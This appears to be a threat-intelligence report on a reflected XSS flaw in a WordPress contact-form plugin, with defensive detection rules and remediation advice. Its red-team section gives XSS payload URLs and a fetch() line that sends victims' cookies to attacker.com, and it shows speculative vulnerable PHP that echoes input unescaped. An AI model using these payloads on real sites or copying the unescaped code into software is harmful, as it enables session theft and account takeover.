CVE-2024-2198

Executive Summary

CVE-2024-2198 is a reflected Cross-Site Scripting (XSS) vulnerability in the Contact Form by BestWebSoft plugin for WordPress, affecting all versions up to and including 4.2.8. The flaw resides in the cntctfrm_contact_address parameter, which is insufficiently sanitized and escaped. An unauthenticated attacker can inject arbitrary web scripts that execute when a victim clicks a crafted link. The CVSS score is 6.1 (Medium), with a low EPSS probability of 0.0%, indicating low active exploitation in the wild. No official patch has been released, and no public exploit code or Nuclei templates are available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a malicious link.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the risk, but the lack of a patch and the widespread use of WordPress plugins make this a significant concern for site administrators.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the WordPress ecosystem. The cntctfrm_contact_address parameter is used by the Contact Form plugin to pre-fill the address field in a contact form. The plugin fails to properly sanitize user input and escape output when rendering this parameter in the response. An attacker can craft a URL containing malicious JavaScript in the cntctfrm_contact_address parameter. When a victim clicks the link, the script executes in the context of the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

The attack flow:

1. Attacker crafts a malicious URL: http://target-site.com/?cntctfrm_contact_address=<script>alert('XSS')</script>
2. Attacker tricks the victim into clicking the link (e.g., via phishing email).
3. The victim's browser sends a request to the vulnerable WordPress site.
4. The plugin reflects the malicious script in the HTML response without proper escaping.
5. The victim's browser executes the script, leading to XSS.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 4.2.8): The plugin likely outputs the cntctfrm_contact_address parameter directly without escaping. Example:

$address = $_GET['cntctfrm_contact_address'];
echo '<input type="text" name="cntctfrm_contact_address" value="' . $address . '" />';

Patched Code (hypothetical): The fix would involve proper escaping using WordPress functions like esc_attr():

$address = isset($_GET['cntctfrm_contact_address']) ? sanitize_text_field($_GET['cntctfrm_contact_address']) : '';
echo '<input type="text" name="cntctfrm_contact_address" value="' . esc_attr($address) . '" />';

Since no official patch is available, administrators must implement a virtual patch or disable the plugin.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Contact Form by BestWebSoft plugin version <= 4.2.8.
• Ability to craft and deliver a malicious link.

Exploit Steps:

1. Identify the vulnerable parameter: cntctfrm_contact_address.
2. Craft a payload: <script>alert(document.cookie)</script>.
3. Construct the malicious URL:

   http://target-site.com/?cntctfrm_contact_address=<script>alert(document.cookie)</script>
   

4. URL-encode the payload for reliability:

   http://target-site.com/?cntctfrm_contact_address=%3Cscript%3Ealert(document.cookie)%3C/script%3E
   

5. Deliver the link to the victim via email, social engineering, or other means.
6. When the victim clicks, the script executes, and the attacker can steal cookies or perform other actions.

Advanced Payload Example:

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for requests containing cntctfrm_contact_address with suspicious patterns (e.g., <script>, onerror=, javascript:).
2. Use a Web Application Firewall (WAF) to block requests with XSS patterns in the cntctfrm_contact_address parameter.
3. Implement Content Security Policy (CSP) headers to mitigate XSS impact.
4. Educate users about phishing attacks that exploit reflected XSS.

Lab Setup:

• Use a local WordPress installation with the vulnerable plugin.
• Simulate the attack using a browser or curl:

  curl "http://localhost/?cntctfrm_contact_address=<script>alert('XSS')</script>"
  

• Verify the script execution in the response.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing cntctfrm_contact_address with script tags or encoded JavaScript.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• Host IOCs:
  • Unexpected JavaScript execution in the browser.
  • Presence of malicious cookies or session tokens exfiltrated.
• Log IOCs:
  • Web server logs showing cntctfrm_contact_address parameter with <script> or %3Cscript%3E patterns.
  • Referer headers indicating phishing or social engineering sources.

Detection Engineering

YARA Rule

rule CVE_2024_2198_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2024-2198"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2198"
    strings:
        $xss_pattern1 = "cntctfrm_contact_address="
        $xss_pattern2 = "<script"
        $xss_pattern3 = "%3Cscript"
        $xss_pattern4 = "onerror="
        $xss_pattern5 = "javascript:"
    condition:
        $xss_pattern1 and any of ($xss_pattern2, $xss_pattern3, $xss_pattern4, $xss_pattern5)
}

Sigma Rule

title: Reflected XSS via cntctfrm_contact_address
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against CVE-2024-2198
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        c-uri|contains: "cntctfrm_contact_address="
        c-uri|contains|any:
            - "<script"
            - "%3Cscript"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of the parameter with safe values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2198 Reflected XSS Attempt"; flow:to_server,established; content:"cntctfrm_contact_address="; http_uri; pcre:"/(<script|%3Cscript|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a virtual patch using a WAF to block requests with XSS patterns in the cntctfrm_contact_address parameter.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the official patch when released by BestWebSoft.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Mitigation Controls:

• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Use input validation and output escaping for all user-supplied data.
• Educate users about phishing and social engineering risks.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.